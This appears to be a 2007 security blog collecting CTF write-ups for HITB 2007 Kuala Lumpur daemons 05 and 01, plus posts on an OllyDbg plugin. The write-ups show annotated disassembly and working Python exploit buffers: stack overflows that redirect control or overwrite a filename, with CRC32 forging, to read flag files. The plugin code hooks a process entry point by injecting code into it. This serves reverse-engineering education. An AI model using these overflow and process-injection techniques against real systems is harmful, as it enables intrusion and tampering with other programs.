Exploiting HTIB 2007 Kuala Lumpur CTF Daemon 05
September 14, 2007 by lamer · Leave a Comment
Identify main
Like the previous blog post, let’s start with the start function.
<b>.text:</b>080488B0 public start <b>.text:</b>080488B0 start proc near <b>.text:</b>080488B0 <b>xor</b> <b>ebp</b>, <b>ebp</b> <b>.text:</b>080488B2 <b>pop</b> <b>esi</b> <b>.text:</b>080488B3 <b>mov</b> <b>ecx</b>, <b>esp</b> <b>.text:</b>080488B5 <b>and</b> <b>esp</b>, 0FFFFFFF0h <b>.text:</b>080488B8 <b>push</b> <b>eax</b> <b>.text:</b>080488B9 <b>push</b> <b>esp</b> <b>.text:</b>080488BA <b>push</b> <b>edx</b> <b>.text:</b>080488BB <b>push</b> offset sub_804C650 <b>.text:</b>080488C0 <b>push</b> offset sub_804C5F0 <b>.text:</b>080488C5 <b>push</b> <b>ecx</b> <b>.text:</b>080488C6 <b>push</b> <b>esi</b> <b>.text:</b>080488C7 <b>push</b> offset main <b>.text:</b>080488CC <b>call</b> ___libc_start_main
We identify the main function as the last argument to ___libc_start_main. So let’s get to it.
Analyze main
<b>.text:</b>08048ABE main proc near ; DATA XREF: start+17↑o <b>.text:</b>08048ABE <b>.text:</b>08048ABE var_518 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h <b>.text:</b>08048ABE var_514 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h <b>.text:</b>08048ABE var_510 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h <b>.text:</b>08048ABE var_208 <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h <b>.text:</b>08048ABE <b>.text:</b>08048ABE <b>push</b> <b>ebp</b> <b>.text:</b>08048ABF <b>mov</b> <b>ebp</b>, <b>esp</b> <b>.text:</b>08048AC1 <b>sub</b> <b>esp</b>, 518h ; char * <b>.text:</b>08048AC7 <b>and</b> <b>esp</b>, 0FFFFFFF0h <b>.text:</b>08048ACA <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048ACF <b>add</b> <b>eax</b>, 0Fh <b>.text:</b>08048AD2 <b>add</b> <b>eax</b>, 0Fh <b>.text:</b>08048AD5 <b>shr</b> <b>eax</b>, 4 <b>.text:</b>08048AD8 <b>shl</b> <b>eax</b>, 4 <b>.text:</b>08048ADB <b>sub</b> <b>esp</b>, <b>eax</b> <b>.text:</b>08048ADD <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"... <b>.text:</b>08048AE4 <b>call</b> _printf <b>.text:</b>08048AE9 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, offset aSecretCode ; "Secret Code: " <b>.text:</b>08048AF0 <b>call</b> _printf <b>.text:</b>08048AF5 <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>stdout <b>.text:</b>08048AFA <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b> <b>.text:</b>08048AFD <b>call</b> _fflush <b>.text:</b>08048B02 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, 200h <b>.text:</b>08048B0A <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b> <b>.text:</b>08048B10 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b> <b>.text:</b>08048B14 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, 0 <b>.text:</b>08048B1B <b>call</b> _read <b>.text:</b>08048B20 <b>mov</b> <b>ds</b><b>:</b>dword_80529DC, <b>eax</b> <b>.text:</b>08048B25 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_510<b>]</b>, offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" <b>.text:</b>08048B2D <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>dword_80529DC <b>.text:</b>08048B32 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_514<b>]</b>, <b>eax</b> <b>.text:</b>08048B36 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>var_208<b>]</b> <b>.text:</b>08048B3C <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>var_518<b>]</b>, <b>eax</b> <b>.text:</b>08048B3F <b>call</b> sub_80489F4
First, a few calls to printf to advertise this is from xWinGs. Nothing fancy yet. Then a read of 0×200 (1024) bytes to var_208. So, let’s rename var_208 to input_buffer. And also note that input_buffer is the first item on the stack. After input_buffer there comes the frame pointer and a return address.
With the same reasoning as in the previous post, we also rename var_518 to first_arg, var_514 to second_arg, and var_510 to third_arg.
After the read is a check for score server packet. We’ll skip it. And here comes the juicy part.
<b>.text:</b>08048B44 <b>mov</b> <b>eax</b>, <b>ds</b><b>:</b>stdin <b>.text:</b>08048B49 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>third_arg<b>]</b>, <b>eax</b> <b>.text:</b>08048B4D <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>second_arg<b>]</b>, 300h <b>.text:</b>08048B55 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>+</b>input_buffer<b>]</b> <b>.text:</b>08048B5B <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, <b>eax</b> <b>.text:</b>08048B5E <b>call</b> _fgets <b>.text:</b>08048B63 <b>mov</b> <b>[</b><b>esp</b><b>+</b>518h<b>+</b>first_arg<b>]</b>, offset aWrongCode_ ; "Wrong Code.\n" <b>.text:</b>08048B6A <b>call</b> _printf <b>.text:</b>08048B6F <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048B74 <b>leave</b> <b>.text:</b>08048B75 <b>retn</b> <b>.text:</b>08048B75 main endp
The next call is to fgets to read another, uhm, 0×300 bytes to input_buffer. And this is where overflow occurs. Remember that input_buffer is only 1024 byte long, and after it is the frame pointer and return address. So by overflowing input_buffer we are able to control the return address.
Ok, that’s all fine, but where do we want main to return to? A little digging around reveals this piece of unidentified code.
<b>.text:</b>08048A60 locret_8048A60<b>:</b> ; CODE XREF: sub_80489F4+29↑j <b>.text:</b>08048A60 <b>leave</b> <b>.text:</b>08048A61 <b>retn</b> <b>.text:</b>08048A61 sub_80489F4 endp <b>.text:</b>08048A61 <b>.text:</b>08048A62 ; --------------------------------------------------------------------------- <b>.text:</b>08048A62 <b>push</b> <b>ebp</b> <b>.text:</b>08048A63 <b>mov</b> <b>ebp</b>, <b>esp</b> <b>.text:</b>08048A65 <b>sub</b> <b>esp</b>, 48h <b>.text:</b>08048A68 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, offset aR ; "r" <b>.text:</b>08048A70 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset aEtcFlagsDaemon ; "/etc/flags/daemon05.txt" <b>.text:</b>08048A77 <b>call</b> _fopen <b>.text:</b>08048A7C <b>mov</b> <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b>, <b>eax</b> <b>.text:</b>08048A7F <b>mov</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b> <b>.text:</b>08048A82 <b>mov</b> <b>[</b><b>esp</b><b>+</b>8<b>]</b>, <b>eax</b> <b>.text:</b>08048A86 <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>, 20h <b>.text:</b>08048A8E <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b> <b>.text:</b>08048A91 <b>mov</b> <b>[</b><b>esp</b><b>]</b>, <b>eax</b> <b>.text:</b>08048A94 <b>call</b> _fgets <b>.text:</b>08048A99 <b>mov</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>0Ch<b>]</b> <b>.text:</b>08048A9C <b>mov</b> <b>[</b><b>esp</b><b>]</b>, <b>eax</b> <b>.text:</b>08048A9F <b>call</b> _fclose <b>.text:</b>08048AA4 <b>lea</b> <b>eax</b>, <b>[</b><b>ebp</b><b>-</b>38h<b>]</b> <b>.text:</b>08048AA7 <b>mov</b> <b>[</b><b>esp</b><b>+</b>4<b>]</b>,;;; <b>eax</b> <b>.text:</b>08048AAB <b>mov</b> <b>dword</b> <b>ptr</b> <b>[</b><b>esp</b><b>]</b>, offset <b>aS</b> ; "\n%s" <b>.text:</b>08048AB2 <b>call</b> _printf <b>.text:</b>08048AB7 <b>mov</b> <b>eax</b>, 0 <b>.text:</b>08048ABC <b>leave</b> <b>.text:</b>08048ABD <b>retn</b> <b>.text:</b>08048ABE <b>.text:</b>08048ABE ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ <b>.text:</b>08048ABE <b>.text:</b>08048ABE ; Attributes: bp-based frame <b>.text:</b>08048ABE <b>.text:</b>08048ABE main proc near ; DATA XREF: start+17↑o <b>.text:</b>08048ABE <b>.text:</b>08048ABE first_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>518h <b>.text:</b>08048ABE second_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>514h <b>.text:</b>08048ABE third_arg <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>510h <b>.text:</b>08048ABE input_buffer <b>=</b> <b>dword</b> <b>ptr</b> <b>-</b>208h
Look at 08048A62! It’s a function prologue. And indeed from 08048A62 to 08048ABD is a proper function! What great is that it opens, reads, and prints the flag out! This is so convenient!
Exploit it
Now, let’s gather what we’ve have. We can control where main returns to, and we know there’s a function that suits our purpose. Therefore, the challenge is… none. We just return to this function!
With that tactic, our exploit is as trivial as constructing a buffer containing all 08048A62. And how hard could it be? Two lines of Python code!
import struct
buffer = struct.pack("I", 0x08048A62) * 1000
Remotely exploit it
If you tried out the buffer above, you might find that it didn’t work remotely. This is because the easter-egg function uses printf to print out the flag. It is common knowledge that printf buffers its content. If the output stream is connected to a console window, the buffering is line-based, otherwise it is block-based. In our case, the output stream is connected to a socket, so the buffering is block-based. Usually, this block is 8 KBytes. Each call to the easter-egg only prints out about 20 bytes. So, to fill this buffer, we will need at least 409 calls to the easter-egg function, or we need to put in 409 * 4 = 0×664 bytes. However, only 0×300 bytes are read in. So this approach fails.
Another approach is to flush the stream after printf. Luckily, this is doable by returning to 08048AF5. At that address, there is a call to fflush on stdout. Again, we only use existing code.
In summary, in order to exploit daemon05 remotely, we will have to change our buffer to look like:
buffer = struct.pack("I", 0x08048A62) * 300 + "\xF5\x8A\x04\x08" + "\x0A"
Observation
Well, what should I say? Thank you, xWinGs, for this twisted fun!
Exploiting HITB 2007 KL CTF Daemon 01
September 11, 2007 by lamer · Leave a Comment
Identifying the main function
IDA will land us right here when it finishes analysis.
.text:08048830 public start .text:08048830 start proc near .text:08048830 <b>xor</b> ebp, ebp .text:08048832 <b>pop</b> esi .text:08048833 <b>mov</b> ecx, esp .text:08048835 <b>and</b> esp, 0FFFFFFF0h .text:08048838 <b>push</b> eax .text:08048839 <b>push</b> esp .text:0804883A <b>push</b> edx .text:0804883B <b>push</b> offset sub_804C700 .text:08048840 <b>push</b> offset sub_804C6A0 .text:08048845 <b>push</b> ecx .text:08048846 <b>push</b> esi .text:08048847 <b>push</b> offset main .text:0804884C <b>call</b> ___libc_start_main
Notice at 08048847, I have renamed the function as main.
Analyzing main
Let’s get to main now. The function starts with:
.text:08048AA1 main proc near ; DATA XREF: start+17↑o .text:08048AA1 .text:08048AA1 first_arg = dword ptr -2F8h .text:08048AA1 second_arg = dword ptr -2F4h .text:08048AA1 third_arg = dword ptr -2F0h .text:08048AA1 var_2EC = dword ptr -2ECh .text:08048AA1 var_2E8 = dword ptr -2E8h .text:08048AA1 var_260 = dword ptr -260h .text:08048AA1 num_read = dword ptr -25Ch .text:08048AA1 input_buffer = dword ptr -258h .text:08048AA1 var_4C = dword ptr -4Ch .text:08048AA1 filename = dword ptr -48h .text:08048AA1 .text:08048AA1 <b>push</b> ebp .text:08048AA2 <b>mov</b> ebp, esp .text:08048AA4 <b>sub</b> esp, 2F8h ; fildes .text:08048AAA <b>and</b> esp, 0FFFFFFF0h .text:08048AAD <b>mov</b> eax, 0 .text:08048AB2 <b>add</b> eax, 0Fh .text:08048AB5 <b>add</b> eax, 0Fh .text:08048AB8 <b>shr</b> eax, 4 .text:08048ABB <b>shl</b> eax, 4 .text:08048ABE <b>sub</b> esp, eax .text:08048AC0 <b>mov</b> [esp+2F8h+first_arg], offset static_buffer .text:08048AC7 <b>call</b> sub_80489E2 .text:08048ACC <b>mov</b> [esp+2F8h+third_arg], 200h .text:08048AD4 <b>mov</b> [esp+2F8h+second_arg], 0 .text:08048ADC <b>lea</b> eax, [ebp+input_buffer] .text:08048AE2 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048AE5 <b>call</b> _memset .text:08048AEA <b>mov</b> [esp+2F8h+third_arg], 40h .text:08048AF2 <b>mov</b> [esp+2F8h+second_arg], 0 .text:08048AFA <b>lea</b> eax, [ebp+filename] .text:08048AFD <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B00 <b>call</b> _memset .text:08048B05 <b>mov</b> [esp+2F8h+second_arg], offset aProcSelfMaps ; "/proc/self/maps" .text:08048B0D <b>lea</b> eax, [ebp+filename] .text:08048B10 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B13 <b>call</b> _strcpy .text:08048B18 <b>mov</b> [esp+2F8h+third_arg], 400h .text:08048B20 <b>lea</b> eax, [ebp+input_buffer] .text:08048B26 <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B2A <b>mov</b> [esp+2F8h+first_arg], 0 .text:08048B31 <b>call</b> _read .text:08048B36 <b>mov</b> [ebp+num_read], eax .text:08048B3C <b>cmp</b> [ebp+num_read], 0FFFFFFFFh .text:08048B43 <b>jnz</b> short loc_8048B5D .text:08048B45 <b>mov</b> [esp+2F8h+first_arg], offset aRead ; "read" .text:08048B4C <b>call</b> _perror .text:08048B51 <b>mov</b> [esp+2F8h+first_arg], 1 .text:08048B58 <b>call</b> _exit
Well, you may have noticed that the names are not what you have in your IDA listing. These names are my names given to those identifiers after analyzing the function. So let’s see how we could arrive to the same naming.
First, there is a call to sub_80489E2 and a static_buffer is passed to it. You will be right to guess this is some kind of initialization routine. Why static_buffer? Because it is static (located in .bss segment) and it is a buffer.
Next to it, some sort of buffer is reset to 0 with memset (0×200 bytes). Notice GCC uses mov instead of push to pass arguments to function. Some lowest (top) slots on the stack have been reserved for this purpose. So, a mov to the lowest slot is equivalent to the last push, or in other words, the first argument. And therefore I named the lowest slot first_arg, followed (logically) by second_arg and so on.
We see another buffer being reset to 0 (0×40 bytes). Then right after that, /proc/self/maps is strcpy‘d to that buffer. Well, let’s not waste anytime and mark it filename.
With one buffer marked, we still have one left. Luckily, the next call to read tells us that the remaining buffer should be named input_buffer. Right?
But, hey, wait, the read was for 0×400 bytes while input_buffer is only (0×258 – 0×4C) byte long. That is, if you fill input_buffer with (0×258 – 0×4C) bytes you will hit var_4C, and if you fill 4 bytes more than that, you will hit the beginning of filename. How wonderful! It gives you control over filename.
Let’s move on.
.text:08048B5D loc_8048B5D: ; CODE XREF: main+A2↑j .text:08048B5D <b>mov</b> [esp+2F8h+third_arg], offset aEtcFlagsDaemon ; "/etc/flags/daemon01.txt" .text:08048B65 <b>mov</b> eax, [ebp+num_read] .text:08048B6B <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B6F <b>lea</b> eax, [ebp+input_buffer] .text:08048B75 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B78 <b>call</b> is_from_server .text:08048B7D <b>mov</b> [esp+2F8h+third_arg], offset static_buffer .text:08048B85 <b>mov</b> eax, [ebp+num_read] .text:08048B8B <b>mov</b> [esp+2F8h+second_arg], eax .text:08048B8F <b>lea</b> eax, [ebp+input_buffer] .text:08048B95 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048B98 <b>call</b> CRC32 .text:08048B9D <b>mov</b> [ebp+var_4C], eax .text:08048BA0 <b>cmp</b> [ebp+var_4C], 0FEEDAFEDh .text:08048BA7 <b>jnz</b> short loc_8048C25 .text:08048BA9 <b>mov</b> [esp+2F8h+second_arg], offset aR ; "r" .text:08048BB1 <b>lea</b> eax, [ebp+filename] .text:08048BB4 <b>mov</b> [esp+2F8h+first_arg], eax .text:08048BB7 <b>call</b> _fopen .text:08048BBC <b>mov</b> [ebp+var_260], eax .text:08048BC2 <b>cmp</b> [ebp+var_260], 0 .text:08048BC9 <b>jz</b> short loc_8048C25
Please just take it for granted that at 08048B78 is a call to process score server packets. So let’s skip it over and analyze the next call.
.text:08048A4C CRC32 proc near ; CODE XREF: main+F7↓p .text:08048A4C .text:08048A4C var_8 = dword ptr -8 .text:08048A4C var_4 = dword ptr -4 .text:08048A4C arg_0 = dword ptr 8 .text:08048A4C arg_4 = dword ptr 0Ch .text:08048A4C arg_8 = dword ptr 10h .text:08048A4C .text:08048A4C <b>push</b> ebp .text:08048A4D <b>mov</b> ebp, esp .text:08048A4F <b>sub</b> esp, 8 .text:08048A52 <b>mov</b> [ebp+var_8], 0FFFFFFFFh .text:08048A59 <b>mov</b> [ebp+var_4], 0 .text:08048A60 .text:08048A60 loc_8048A60: ; CODE XREF: CRC32+4C↓j .text:08048A60 <b>mov</b> eax, [ebp+var_4] .text:08048A63 <b>cmp</b> eax, [ebp+arg_4] .text:08048A66 <b>jge</b> short loc_8048A9A .text:08048A68 <b>mov</b> eax, [ebp+var_8] .text:08048A6B <b>mov</b> ecx, eax .text:08048A6D <b>shr</b> ecx, 8 .text:08048A70 <b>mov</b> eax, [ebp+var_4] .text:08048A73 <b>add</b> eax, [ebp+arg_0] .text:08048A76 <b>movzx</b> eax, byte ptr [eax] .text:08048A79 <b>xor</b> eax, [ebp+var_8] .text:08048A7C <b>and</b> eax, 0FFh .text:08048A81 <b>lea</b> edx, ds:0[eax*4] .text:08048A88 <b>mov</b> eax, [ebp+arg_8] .text:08048A8B <b>mov</b> eax, [edx+eax] .text:08048A8E <b>xor</b> eax, ecx .text:08048A90 <b>mov</b> [ebp+var_8], eax .text:08048A93 <b>lea</b> eax, [ebp+var_4] .text:08048A96 <b>inc</b> dword ptr [eax] .text:08048A98 <b>jmp</b> short loc_8048A60 .text:08048A9A ; --------------------------------------------------------------------------- .text:08048A9A .text:08048A9A loc_8048A9A: ; CODE XREF: CRC32+1A↑j .text:08048A9A <b>mov</b> eax, [ebp+var_8] .text:08048A9D <b>not</b> eax .text:08048A9F <b>leave</b> .text:08048AA0 <b>retn</b> .text:08048AA0 CRC32 endp
If you have seen CRC32 routine before, you will be able to tell this is it. A few signatures are the 0xFFFFFFFF initial value, the “take each character, xor it, and logical and it with 0xFF” (movzx, xor and and starting from 08048A76, and the negation at 08048A9D.
And you’ll be tempting to rename static_buffer to crc32_table. But that’s beside the point.
Now we go back to the main function. After taking CRC32 value of the whole read input_buffer, the value is compared with 0xFEEDAFED. If it is equal, then the filename is open, read and written out.
Exploit it
Let’s gather what we’ve got. First we are able to overflow the filename buffer. Second, if the CRC value matches 0xFEEDAFED, the file identified by filename will be opened, read, and written out to stdout. And there lies our only challenge, to construct a buffer with CRC32 value matching 0xFEEDAFED.
import zlib
buffer = "a" * (0x258 - 0x48) + "/etc/flags/daemon01.txt\x00"
<b>def</b> fix_crc(buffer, target_crc):
buffer_crc = zlib.crc32(buffer)
charset = [chr(x) <b>for</b> x <b>in</b> range(256)]
fix = ['a'] * 4
crc = [0] * 4
<b>for</b> fix[0] <b>in</b> charset:
crc[0] = zlib.crc32(fix[0], buffer_crc)
<b>for</b> fix[1] <b>in</b> charset:
crc[1] = zlib.crc32(fix[1], crc[0])
<b>for</b> fix[2] <b>in</b> charset:
crc[2] = zlib.crc32(fix[2], crc[1])
<b>for</b> fix[3] <b>in</b> charset:
crc[3] = zlib.crc32(fix[3], crc[2])
<b>if</b> (crc[3] & 0xFFFFFFFF) == target_crc:
<b>return</b> ''.join(fix)
buffer = buffer + fix_crc(buffer, 0xFEEDAFED)
Behold our super-elite Python code! It will generate an exploit string ready to be sent to port 1111. Of course it runs damn slow. You are better off applying the reverse CRC32 described by anarchriz.
Observation
This daemon is similar to last year HITB 2006 KL CTF. Last year the CRC32 is a bit different, it used the same lookup table but initial value was not the standard 0xFFFFFFFF and there was no negation at the end. This year, the CRC32 is the standard CRC32 used in Zlib.
Another way to inject a DLL
Read this first: OllyDbg plugin: Catcha! v1.1 – Catcha anywhere
Nothing special :D Just write a trap function that call LoadLibrary() function…
Pros:
- We have an advantage that we don’t have to call CreateRemoteThread() function.
Cons:
- Must pause target process to hook its EntryPoint :D.
OllyDbg plugin: Catcha! v1.1 – Catcha anywhere
July 10, 2007 by mikado · Leave a Comment
In order to reach the target program EntryPoint, we call CEngine::EngineTrap() function below before resuming the target program to hook its EntryPoint and raise debug exception by INT3 instruction then we can attach to it.
///pAddress: the address inside target process (the EntryPoint in our case) that will be hooked with trap function.
VOID CEngine::EngineTrap(LPVOID pAddress)
{
HANDLE hProcess = NULL, hLibRemote = NULL;
UCHAR pEntryPointOpcodes[5] = {0,};
//Trap function opcodes
UCHAR pTrap[] = {0x50, // 0 - PUSH EAX ; Save EAX
0xB8, 0x00, 0x00, 0x00, 0x00, // 1 - MOV EAX,XXXXXXXX ; EAX = XXXXXXXX = pAddress
0xC6, 0x00, 0xFF, // 6 - MOV BYTE PTR DS:[EAX],0FF ;\
0xC6, 0x40, 0x01, 0xFF, // 9 - MOV BYTE PTR DS:[EAX+1],0FF ; |
0xC6, 0x40, 0x02, 0xFF, //13 - MOV BYTE PTR DS:[EAX+2],0FF ; | Restore original opcodes at pAddress
0xC6, 0x40, 0x03, 0xFF, //17 - MOV BYTE PTR DS:[EAX+3],0FF ; |
0xC6, 0x40, 0x04, 0xFF, //21 - MOV BYTE PTR DS:[EAX+4],0FF ;/
0x58, //25 - POP EAX ; Restore EAX
0xCC, //26 - INT3 ; Raise debug exception
0xE9, 0x00, 0x00, 0x00, 0x00 //27 - JMP YYYYYYYY ; YYYYYYYY = relative address value of pAddress
};
DWORD nOldProtect;
do {
//Open target process
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_ProcessInfo.m_nProcessId);
if (!hProcess) {
EngineLog("Error: CEngine::EngineTrap() -> ::OpenProcess()");
EngineError();
break;
}
//Allocate memory space inside target process for trap function
//hLibRemote = allocated virtual address inside target process
hLibRemote = ::VirtualAllocEx(hProcess,
NULL,
sizeof(pTrap),
MEM_COMMIT,
PAGE_READWRITE);
if (!hLibRemote) {
EngineLog("Error: CEngine::EngineTrap() -> ::VirtualAllocEx()");
EngineError();
break;
}
//Ensure that we can read/write/execute sizeof(pEntryPointOpcodes) bytes at pAddress
if (!::VirtualProtectEx(hProcess,
(LPVOID)(m_ProcessInfo.m_nImageBase + m_ProcessInfo.m_nAddressOfEntryPoint),
sizeof(pEntryPointOpcodes),
PAGE_EXECUTE_READWRITE,
&nOldProtect)) {
EngineLog("Error: CEngine::EngineTrap() -> ::VirtualProtectEx()");
EngineError();
break;
}
//Ensure that we can read/write/execute sizeof(pTrap) bytes at hLibRemote
if (!::VirtualProtectEx(hProcess,
(LPVOID)hLibRemote,
sizeof(pTrap),
PAGE_EXECUTE_READWRITE,
&nOldProtect)) {
EngineLog("Error: CEngine::EngineTrap() -> ::VirtualProtectEx()");
EngineError();
break;
}
//Save sizeof(pEntryPointOpcodes) bytes at pAddress in pEntryPointOpcodes
if (!::ReadProcessMemory(hProcess,
(LPVOID)(m_ProcessInfo.m_nImageBase + m_ProcessInfo.m_nAddressOfEntryPoint),
(LPVOID)pEntryPointOpcodes,
sizeof(pEntryPointOpcodes),
NULL)) {
EngineLog("Error: CEngine::EngineTrap() -> ::ReadProcessMemory()");
EngineError();
break;
}
//Repair trap function
//XXXXXXXX = pAddress
*(PDWORD)(pTrap + 2) = (DWORD)pAddress;
//Calculate value for JMP instruction
//YYYYYYYY = relative address value of pAddress
*(PDWORD)(pTrap + 28) = (DWORD)pAddress - ((DWORD)hLibRemote + sizeof(pTrap));
//Restore original opcodes at pAddress
pTrap[8] = pEntryPointOpcodes[0];
pTrap[12] = pEntryPointOpcodes[1];
pTrap[16] = pEntryPointOpcodes[2];
pTrap[20] = pEntryPointOpcodes[3];
pTrap[24] = pEntryPointOpcodes[4];
//Replace opcodes at pAddress with JMP instruction to trap function
pEntryPointOpcodes[0] = 0xE9;
//Calculate value for JMP instruction
*(PDWORD)(pEntryPointOpcodes + 1) = (DWORD)hLibRemote - ((DWORD)pAddress + sizeof(pEntryPointOpcodes));
//Write our codes into target process
if (!::WriteProcessMemory(hProcess,
pAddress,
(LPVOID)pEntryPointOpcodes,
sizeof(pEntryPointOpcodes),
NULL)) {
EngineLog("Error: CEngine::EngineHookEntryPoint() -> ::WriteProcessMemory()");
EngineError();
break;
}
if (!::WriteProcessMemory(hProcess,
(LPVOID)hLibRemote,
(LPVOID)pTrap,
sizeof(pTrap),
NULL)) {
EngineLog("Error: CEngine::EngineTrap() -> ::WriteProcessMemory()");
EngineError();
break;
}
}
while (FALSE);
::CloseHandle(hProcess);
EngineLog("Done: CEngine::EngineTrap()");
}
Besides, this function is also used to hook and trap at any address inside target process. It will be useful for attaching OllyDbg after bypassing some codes we are not interested in (e.g: anti-debugger codes :D). Because I don’t have much time at this moment, I will add this option in next version of Catcha!.
mikado.
P.S: As lamer’s comment, the next feature can only be applied to applications that don’t handle INT3 exception themselves. Another problem is that this version is still not be able to catch .NET applications because their EntryPoint is located in mscoree.dll.
OllyDbg plugin: Catcha! v1.0
July 6, 2007 by mikado · Leave a Comment
Catcha! v1.0 Coded by mikado @ vnsecurity, 4vn Website: http://www.vnsecurity.net - http://www.4vn.org Email: mikado[at]4vn[dot]org [ About ] Sometimes you don't know how to start a program correctly from OllyDgb. Catcha! plugin will help you to attach to your program automatically as soon as possible each time your program runs (outside OllyDbg). It works like Olly De-Attach Helper plugin: http://www.openrce.org/downloads/details/185/Olly%20De-Attach%20Helper Catcha! has more advantages than Olly De-Attach Helper. It helps reversers not to miss many opcodes before attaching target program. Check it out! Have fun and feel free to contact me. [ Instructions ] - Copy Catcha!.dll and Catcha!.sys to OllyDbg plugin directory. - First, select target program by chosing menu: Plugins -> Catcha! -> Select Catcha! target. - Run target program outside OllyDbg. It will be attached in OllyDbg automatically as soon as possible. - Press F9 to continue running program or, right click on Disassembler window and chose Thread -> Main on Popup menu to switch to program's main thread and continue your debug session. [ History ] 2007.07.06: - Version 1.0 released. [ Known bugs ] 1. Target program can only be attached automatically one time. You have to restart OllyDbg in order for Catcha! to work correctly. 2. Only tested on Windows XP SP2. The kernel driver was built on WinDDK with Windows XP Build Environment. [ TODO ] - Fix bug (1). - Implement de-attach function without closing target program. mikado.


